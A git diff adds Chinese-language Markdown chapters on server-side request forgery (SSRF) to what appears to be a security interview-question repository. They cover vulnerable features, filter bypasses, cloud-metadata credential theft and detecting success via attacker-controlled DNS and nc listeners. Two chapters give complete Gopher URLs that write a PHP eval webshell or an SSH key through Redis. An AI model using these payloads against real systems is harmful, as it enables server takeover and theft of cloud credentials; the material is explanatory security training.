diff --git a/Chapter10/10-1.md b/Chapter10/10-1.md new file mode 100644 index 0000000..0e579cd --- /dev/null +++ b/Chapter10/10-1.md @@ -0,0 +1,28 @@ +### SSRF 漏洞存在位置 + +**1. URL地址加载资源** + +这是 SSRF 漏洞最经典的藏身之处。当一个网站需要通过 URL 地址从其他服务器获取图片、文件或音频等资源时，就可能存在 SSRF + +- **头像/图片上传**：很多社交平台或电商网站允许用户通过提供图片 URL 来上传头像或商品图片 + - **案例**：在某电商平台的商品图片上传接口，我发现一个名为 `image_url` 的参数。我将其值从一个合法的图片链接改为内网地址，如`http://192.168.1.1`，服务器返回了连接超时的错误。当我改为`http://127.0.0.1:80` 时，却返回了“HTTP 请求无效”的错误。通过这些差异，我判断 `127.0.0.1` 的 80 端口是开放的，从而证实了 SSRF 漏洞的存在 +- **文章或图片收藏**：当用户分享或收藏一个网页时，服务器会去抓取页面标题、描述、缩略图等信息 + - **案例**：在一个内容管理系统（CMS）中，我测试了“分享文章”功能。当我输入一个 URL 时，系统会生成一个预览。我将 `url` 参数的值从外网地址改为了 `http://localhost/`，结果系统成功抓取并展示了本地服务器的登录页面。这证明了服务器执行了请求，并且没有对 `localhost` 进行过滤 + +**2. URL协议解析不当与转码服务** + +开发者在处理 URL 时，往往只过滤了 `http://` 和 `https://`，却忘记了其他协议，或者没有对 URL 重定向进行二次校验 + +- **转码服务**：一些在线视频或音频转码服务，需要用户提供一个 URL，服务器会去下载并进行格式转换 + - **案例**：一个视频转码服务的 `video_url` 参数可以被利用。我尝试将 `http://` 协议替换为 `file://`，并输入 `file:///etc/passwd`。服务器返回了 `/etc/passwd` 文件的内容，这表明服务器不仅存在 SSRF，还存在**本地文件读取（LFI）**漏洞 +- **在线翻译/API调用**：许多翻译服务需要通过 API 去获取内容，如果 API 的 URL 可控，就可能存在 SSRF + - **案例**：一个未公开的 API 接口用于调用 URL 服务，我尝试用 `gopher://` 协议去攻击内网的 Redis 服务。我构造了 Gopher URL，并将其作为 API 参数发送，最终成功在目标服务器上执行了 Redis 命令，实现了代码执行 + +**3. 第三方服务与Webhooks** + +现代应用经常需要与其他服务集成，例如支付接口、云服务 API 等。这些集成点经常需要通过 URL 进行通信 + +- **Webhooks**：许多 SaaS 产品支持 Webhooks，当特定事件发生时，它会向用户指定的 URL 发送 HTTP 请求 + - **案例**：在一个 Git 仓库管理平台，我发现它允许自定义 Webhook URL。我将 Webhook URL 设置为内网的 `http://192.168.10.20/`。当有代码提交时，我通过检查网络流量，证实了服务器确实去请求了这个内部地址，从而证明了 SSRF 漏洞的存在 +- **云服务API**：在云环境中，元数据服务通常通过一个固定的内网 IP 提供敏感信息 + - **案例**：在一个运行在 AWS 的网站上，我利用 SSRF 漏洞让服务器请求 AWS 的元数据服务地址`http://169.254.169.254/latest/meta-data/`。服务器成功返回了一个目录列表，这表明我能够访问这个特殊的内网服务，并可以进一步获取 IAM 凭证来控制整个云实例 \ No newline at end of file diff --git a/Chapter10/10-2.md b/Chapter10/10-2.md new file mode 100644 index 0000000..0d38503 --- /dev/null +++ b/Chapter10/10-2.md @@ -0,0 +1,54 @@ +### SSRF 漏洞绕过方法 + +**1. IP 地址绕过** + +服务器为了防止内网探测，通常会限制请求的目标IP，比如禁止访问私有IP地址（10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.1）。我们可以尝试一些技巧来绕过这些限制 + +- **十进制、八进制、十六进制等进制转换：** + - **十进制：** `http://127.0.0.1` 可以转换为 `http://2130706433` + - **八进制：** `http://127.0.0.1` 可以转换为 `http://0177.0.0.1` 或 `http://017700000001` + - **十六进制：** `http://127.0.0.1` 可以转换为 `http://0x7f000001` + - **混合进制：** 例如 `http://0x7f.0.0.1` + - **域名解析：** `localhost` 可以解析为 `127.0.0.1` + - **不完整 IP：** 某些系统会把 `127.1` 当作 `127.0.0.1` 处理 +- **短地址服务或域名重定向：** + - 攻击者可以利用短地址服务（如 bit.ly）或自己搭建一个网站，设置 302/307 重定向，将请求从白名单域名重定向到内网地址。例如，设置一个 `http://trusted.com/redirect`，当服务器请求此地址时，会自动跳转到 `http://192.168.1.1` + - 这种方法常用于目标服务器只允许访问特定白名单域名的情况 +- **利用 IPV6 地址绕过：** + - 如果目标系统没有对 IPv6 地址进行过滤，那么 `::1` 就可以指向 `127.0.0.1` +- **利用 `xip.io` 或类似服务：** + - `xip.io` 是一个将 IP 地址嵌入域名的服务。例如，`10.0.0.1.xip.io` 会解析为 `10.0.0.1`。如果服务器只限制了 IP，但未限制域名解析，这会是有效的绕过方法 + +**2. 协议绕过** + +除了 HTTP/HTTPS 协议，许多库还支持其他协议。如果服务器没有对这些协议进行过滤，我们可以利用它们来访问服务器的本地文件或服务 + +- **`file://` 协议：** + - `file:///etc/passwd` 可以读取 `/etc/passwd` 文件 + - `file:///C:/Windows/win.ini` 可以读取 Windows 系统的 `win.ini` 文件 + - **`dict://` 协议：** + - `dict://127.0.0.1:6379/info` 可以查询 Redis 服务的信息 + - `dict://127.0.0.1:6379/config:set:dbfilename:evil.php` 可以用于写入恶意文件 +- **`gopher://` 协议：** + - 这是最强大的协议之一，可以发送任意 TCP 请求。攻击者可以利用它来攻击内网的各种服务，如 MySQL、Redis、FastCGI 等 + - 例如，攻击 Redis 服务：`gopher://127.0.0.1:6379/_*2%0D%0A$4%0D%0Ainfo%0D%0A` +- **`ftp://` 协议：** + - 可以利用 FTP 协议在某些情况下进行端口扫描，或者发送自定义命令 + +**3. URL 解析绕过** + +不同的URL解析器（如 PHP、Python、CURL 等）对 URL 的解析规则可能存在差异。利用这种差异，可以绕过基于正则表达式的过滤 + +- **利用特殊字符：** + - `@` 符号：`http://example.com@127.0.0.1`，在一些解析器中，会忽略 `@` 前的内容，导致请求发往 `127.0.0.1` + - `#` 符号：`http://127.0.0.1#example.com`， `#` 后面的内容通常被认为是片段标识符，会被忽略，从而请求 `127.0.0.1` +- **利用 URL 编码：** + - 对 IP 地址进行URL编码，例如 `127.0.0.1` 编码为 `%31%32%37%2E%30%2E%30%2E%31` + - 对 `.` 进行 URL 编码，例如 `http://127%2E0%2E0%2E1` +- **利用 DNS Rebinding：** + - 这是高级且难以防范的技巧。攻击者控制一个域名，该域名在短时间内第一次解析为一个非内网 IP（通过白名单检查），第二次解析为内网 IP + - **步骤：** + 1. 攻击者设置一个恶意域名 `evil.com`，其 DNS 记录 TTL（生存时间）设置为很低 + 2. 第一次 DNS 解析，`evil.com` 解析为一个公网 IP，服务器通过白名单检查 + 3. 服务器发起请求，但由于请求需要时间，在第二次DNS解析时，攻击者将 `evil.com` 的 DNS 记录修改为 `127.0.0.1` + 4. 服务器再次请求 `evil.com` 时，会请求到 `127.0.0.1`，从而绕过过滤 \ No newline at end of file diff --git a/Chapter10/10-3.md b/Chapter10/10-3.md new file mode 100644 index 0000000..15f07ac --- /dev/null +++ b/Chapter10/10-3.md @@ -0,0 +1,47 @@ +### SSRF 漏洞利用方式 + +**1. 端口扫描** + +这是最基础也最常见的利用方式。通过控制服务器向内网 IP 的不同端口发起请求，并根据响应时间、响应内容或 HTTP 状态码来判断端口是否开放 + +- **利用方式：** + - **GET 请求：** `http://192.168.1.1:22` + - **响应判断：** 如果端口开放，通常会有 HTTP 响应；如果端口关闭或服务不存在，请求会超时或返回连接失败。通过脚本自动化这个过程，可以快速绘制出内网的端口图 + +**2. 访问内网应用** + +如果服务器能够访问内网，攻击者就可以通过SSRF漏洞来探测和攻击那些通常无法从外部网络访问的应用 + +- **利用方式：** + - **访问管理后台：** 很多公司的内部管理系统、OA、数据库管理工具等都在内网运行。攻击者可以通过SSRF 漏洞直接访问这些后台，如果存在弱口令，就可能直接接管系统 + - **攻击内网服务：** 利用 SSRF 访问内网中的 Redis、MySQL、Elasticsearch、Memcached 等服务。例如，利用 **Gopher 协议** 攻击 Redis 服务器，可以写入 Webshell 或者 SSH key，从而获得服务器的控制权 + - **示例：** `gopher://127.0.0.1:6379/_*2%0D%0A$4%0D%0Ainfo%0D%0A` 这个 payload 可以向本地的 Redis 服务发送 `info` 命令，获取 Redis 信息 + - **利用 `file://` 协议：** 如果没有协议限制，可以直接读取服务器本地文件，如 `/etc/passwd`、`/etc/hosts`、`.bash_history` 等，从而获取敏感信息 + - **示例：** `file:///etc/passwd` + +**3. 攻击本地文件包含（LFI）** + +在某些场景下，SSRF 可以与文件包含漏洞结合利用。例如，当目标网站的 URL 处理逻辑是 `file=http://example.com/a.txt` 时，你可以将 `http` 替换为 `file`，从而实现本地文件读取 + +- **利用方式：** + - `http://target.com/?url=file:///etc/passwd` + +**4. 绕过防火墙** + +许多 Web 应用服务器会部署在防火墙后面，防火墙通常只允许特定的出站请求。SSRF 漏洞可以利用服务器作为跳板，绕过防火墙的限制，直接攻击内网 + +**5. 探测云服务元数据** + +在云服务环境（如 AWS, Google Cloud, Aliyun）中，服务器通常有一个特殊的元数据地址，例如 **`http://169.254.169.254/`**。这个地址只在虚拟机内部可访问，其中包含了非常敏感的信息，比如 **IAM 角色凭证、密钥、实例信息**等 + +- **利用方式：** + - `http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name` + - 通过 SSRF 漏洞访问这个地址，攻击者可以获取临时密钥，利用这些密钥就能以该角色的权限访问云服务，比如操作 S3 存储桶、启动或停止虚拟机等，造成巨大的安全风险 + +**6. DoS 攻击** + +攻击者可以利用 SSRF 漏洞让服务器向自身或内网中的关键服务发起大量的请求，从而造成拒绝服务 + +- **利用方式：** + - `http://localhost:80` + - 通过循环请求 `http://localhost/`，可以耗尽服务器资源，使其无法正常提供服务 \ No newline at end of file diff --git a/Chapter10/10-4.md b/Chapter10/10-4.md new file mode 100644 index 0000000..6de4683 --- /dev/null +++ b/Chapter10/10-4.md @@ -0,0 +1,57 @@ +### SSRF 如何攻击内网服务 + +**1. 判断内网Redis端口是否开放** + +首先，我们需要确认目标服务器的内网中是否存在 Redis 服务，以及它监听的端口。Redis 的默认端口是 **6379** + +我们可以使用 SSRF 漏洞，尝试向 `http://127.0.0.1:6379/` 发起请求。如果请求有响应或返回连接成功的提示，那么Redis 服务可能存在 + +**2. 构造Redis命令** + +Redis的通信协议（RESP，Redis Serialization Protocol）是一种基于TCP的文本协议。攻击者需要将Redis命令转换为符合该协议的格式 + +例如，一个简单的`INFO`命令的RESP格式如下： + +``` +*1 +$4 +INFO +``` + +- **`\*1`**：表示这是一个包含 1 个命令参数的数组 +- **`$4`**：表示接下来的参数有 4 个字节 +- **`INFO`**：参数的具体内容 + +在 Gopher 协议中，换行符需要转换为 URL 编码，即`%0D%0A`（回车换行）。因此，上述命令转换为 Gopher 协议的 URL编码后是： `gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0AINFO%0D%0A` + +**3. 写入WebShell** + +这是最常见的攻击方式，尤其是在目标服务器是 Web 服务器的情况下。攻击者可以利用 Redis 的持久化功能，将WebShell 代码写入到服务器的网站根目录，从而获得服务器的控制权 + +**攻击思路：** + +1. **设置 Redis 的 `dir` 和 `dbfilename`**：将 Redis 的持久化目录设置为网站根目录，将持久化文件名设置为一个WebShell 文件名（如 `shell.php`）。 +2. **写入 WebShell 代码**：利用 Redis 的 `SET` 命令，将 WebShell 代码写入一个键中 +3. **执行 `SAVE` 或 `BGSAVE`**：执行 `SAVE` 命令将数据保存到指定的 WebShell 文件中 + +**Gopher Payload 构造举例（以写入PHP一句话木马为例）：** + +**PHP 一句话木马代码：** `` + +1. **设置文件目录**：`config set dir /var/www/html/` **Gopher Payload:** `gopher://127.0.0.1:6379/_*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$14%0D%0A/var/www/html/%0D%0A` +2. **设置文件名**：`config set dbfilename shell.php` **Gopher Payload:** `gopher://127.0.0.1:6379/_*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$9%0D%0Ashell.php%0D%0A` +3. **设置键值**：`set 1 ''` **Gopher Payload:** `gopher://127.0.0.1:6379/_*3%0D%0A$3%0D%0Aset%0D%0A$1%0D%0A1%0D%0A$27%0D%0A%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%63%6d%64%5d%29%3b%3f%3e%0D%0A` +4. **执行保存**：`save` **Gopher Payload:** `gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0Asave%0D%0A` + +你可以将上述 Payload 组合起来，并进行 URL 编码，通过 SSRF 漏洞一次性发送 + +**4. 写入 SSH 公钥** + +如果 Redis 服务是以 root 权限运行，并且目标服务器开放了 SSH 服务，攻击者还可以通过 Redis 将 SSH 公钥写入 root 用户的 `.ssh/authorized_keys` 文件，从而实现 SSH 免密登录 + +**Gopher Payload 构造举例：** + +1. 设置文件目录：`config set dir /root/.ssh/` +2. 设置文件名：`config set dbfilename authorized_keys` +3. 写入SSH公钥：`set 1 'ssh-rsa AAAA...your-pubkey...'` +4. 执行保存：`save` \ No newline at end of file diff --git a/Chapter10/10-5.md b/Chapter10/10-5.md new file mode 100644 index 0000000..0889669 --- /dev/null +++ b/Chapter10/10-5.md @@ -0,0 +1,60 @@ +### 如何判断 SSRF 的流量是否攻击成功 + +**1. 基于DNS记录判断** + +这是最常见也最简单的方法之一，利用 **DNS 带外通信**来判断 + +**原理：** 攻击者在一个可以记录 DNS 解析的域名服务器上，为每个攻击目标生成一个唯一的子域名。然后，在 SSRF 的payload 中，让服务器去请求这个子域名 + +**如何判断成功：** 如果攻击成功，服务器会尝试解析这个子域名。攻击者的 DNS 服务器会收到一个来自服务器 IP 的 DNS解析请求，从而证明 SSRF 漏洞确实存在，并且服务器执行了我们的请求 + +**举例：** + +- 攻击者在 `attacker.com` 上部署 DNS 服务 +- 攻击者构造 payload：`http://vulnerable.com/ssrf?url=http://test12345.attacker.com` +- 如果 SSRF 成功，攻击者的DNS服务器会收到来自 `vulnerable.com` 服务器 IP 的 `test12345.attacker.com` 域名解析请求 + +**2. 基于 HTTP 请求判断** + +如果漏洞允许，我们可以让服务器去请求一个我们控制的 HTTP 服务器 + +**原理：** 攻击者搭建一个 HTTP 服务器，并在 SSRF 的 payload 中让服务器请求该服务器 + +**如何判断成功：** 如果 SSRF 成功，攻击者的 HTTP 服务器会收到一个来自目标服务器 IP 的 HTTP 请求。通过查看请求的User-Agent、来源 IP 等信息，可以进一步确认漏洞的存在 + +**举例：** + +- 攻击者在公网IP `1.1.1.1` 上搭建 HTTP 服务（如`nc -lvp 80`） +- 攻击者构造 payload：`http://vulnerable.com/ssrf?url=http://1.1.1.1:80/check.txt` +- 如果 SSRF 成功，攻击者的 HTTP 服务器会收到一个来自 `vulnerable.com` 服务器的 HTTP 请求 + +**3. 基于时间差判断** + +这种方法利用服务器处理特定请求所需的时间来判断，常用于**盲SSRF**场景，即服务器不会返回请求结果 + +**原理：** 攻击者构造一个SSRF payload，使其请求一个需要耗费较长时间的资源，例如一个不存在或响应很慢的端口，或者一个非常大的文件 + +**如何判断成功：** 如果 SSRF 成功，服务器的处理时间会显著增加。通过对比执行正常请求和 SSRF 请求的响应时间，如果后者明显更长，则可以初步判断 SSRF 攻击成功 + +**举例：** + +- 构造SSRF payload让服务器请求一个不存在的端口：`http://vulnerable.com/ssrf?url=http://127.0.0.1:65535` +- 正常请求响应时间：`100ms` +- SSRF请求响应时间：`3000ms`（因为连接超时） +- 响应时间明显增加，表明服务器执行了内部请求 + +**4. 基于错误信息判断** + +一些配置不当的应用程序会在 SSRF 失败时，直接返回服务器内部的错误信息 + +**原理：** 攻击者故意构造一个错误的 SSRF 请求，例如请求一个私有 IP 地址或本地文件，并观察应用程序返回的错误信息 + +**如何判断成功：** 如果应用程序返回的错误信息包含服务器内部的路径、IP 地址或内部错误代码，如 `Failed to connect to 127.0.0.1` 或 `Permission denied`，则可以确认服务器确实尝试执行了该请求，并且 SSRF 漏洞存在 + +**5. 基于响应内容判断** + +如果 SSRF 漏洞是**可回显**的，攻击者可以直接从服务器的响应中判断攻击是否成功 + +**原理：** 攻击者构造一个 SSRF payload，让服务器请求内部资源，如 `http://127.0.0.1/` 或 `file:///etc/passwd` + +**如何判断成功：** 如果服务器的响应中包含了目标资源的内部内容，例如本地 Web 服务器的欢迎页面、`/etc/passwd` 文件的内容等，那么 SSRF 攻击成功 \ No newline at end of file diff --git a/Chapter10/10-6.md b/Chapter10/10-6.md new file mode 100644 index 0000000..5ef485d --- /dev/null +++ b/Chapter10/10-6.md @@ -0,0 +1,51 @@ +### SSRF 怎么用 Redis 写 Shell + +**步骤一：利用 SSRF 伪造 Redis 协议请求** + +SSRF 攻击需要将恶意请求发送给目标服务器的 Redis 服务。这里通常需要使用 **Gopher 协议**。Gopher 协议可以发送自定义的 TCP 请求，这正是我们与 Redis 交互所需要的 + +Redis 的通信协议（RESP）是一个基于文本的协议。我们可以使用 Gopher 协议将这些命令编码成 URL 格式 + +**Redis 命令序列：** + +我们通过 SSRF 漏洞向 Redis 服务器依次发送以下命令： + +1. `SET webshell ""`：设置一个键名为 `webshell`，值为我们想要写入的 Webshell 代码 +2. `CONFIG SET dir "/var/www/html/"`：设置 Redis 的工作目录为网站的根目录 +3. `CONFIG SET dbfilename "shell.php"`：设置持久化文件名为 `shell.php` +4. `SAVE`：执行保存命令，将数据持久化到指定的文件中 + +**步骤二：将命令编码为 Gopher 协议 URL** + +我们需要将上述 Redis 命令序列转换成 Gopher URL + +- **将命令转换为 RESP 协议格式**： + + - `SET webshell ""` -> `*3\r\n$3\r\nSET\r\n$7\r\nwebshell\r\n$25\r\n\r\n` + - `CONFIG SET dir "/var/www/html/"` -> `*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$14\r\n/var/www/html/\r\n` + - `CONFIG SET dbfilename "shell.php"` -> `*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n` + - `SAVE` -> `*1\r\n$4\r\nSAVE\r\n` + + *注：`\r\n` 是回车换行符，在 URL 中需要编码为 `%0d%0a`* + +- **拼接成完整的 Gopher URL**： `gopher://127.0.0.1:6379/_` + `[RESP 编码的命令]` + `%0d%0a` + `[RESP 编码的命令]` + ... + + 一个完整的 Gopher URL 示例如下： + + ```apl + gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$7%0d%0awebshell%0d%0a$25%0d%0a%3c%3fphp%20eval%28%24_POST%5b%27cmd%27%5d%29%3b%3f%3e%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$14%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0a + ``` + +**步骤三：通过 SSRF 漏洞发起请求** + +将上述构造好的 URL 作为 SSRF 漏洞的参数值，例如： + +```apl +http://example.com/ssrf.php?url=gopher://127.0.0.1:6379/_... +``` + +当服务器端执行这个请求时，它会通过 Gopher 协议向本地的 Redis 服务发送一系列命令，最终在 `/var/www/html/` 目录下生成一个名为 `shell.php` 的文件，其内容就是我们的 Webshell + +**步骤四：访问 Webshell** + +攻击者现在可以直接访问 `http://example.com/shell.php`，并通过 `cmd` 参数执行任意命令，从而完全控制服务器 \ No newline at end of file diff --git a/Chapter10/README.md b/Chapter10/README.md index 8b13789..9eecb4f 100644 --- a/Chapter10/README.md +++ b/Chapter10/README.md @@ -1 +1,20 @@ +# 网安面试题（涵盖护网、红队、逆向、二进制） +上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！ + +HR：请问………… + +我：叽里咕噜说啥呢，看看八股文上写了没 + +（Summary.md 是目录噢！！） + +**🙏 特别感谢名单** + +在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后） + +- **@用户名1** —— 提供了大量安全面试题方向的补充 +- **@用户名2** —— 纠正了多个问题的答案与表述 +- **@用户名3** —— 贡献了真实面试题经验分享 +- **@用户名4** —— 对内容结构与目录提出改进建议 + +如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字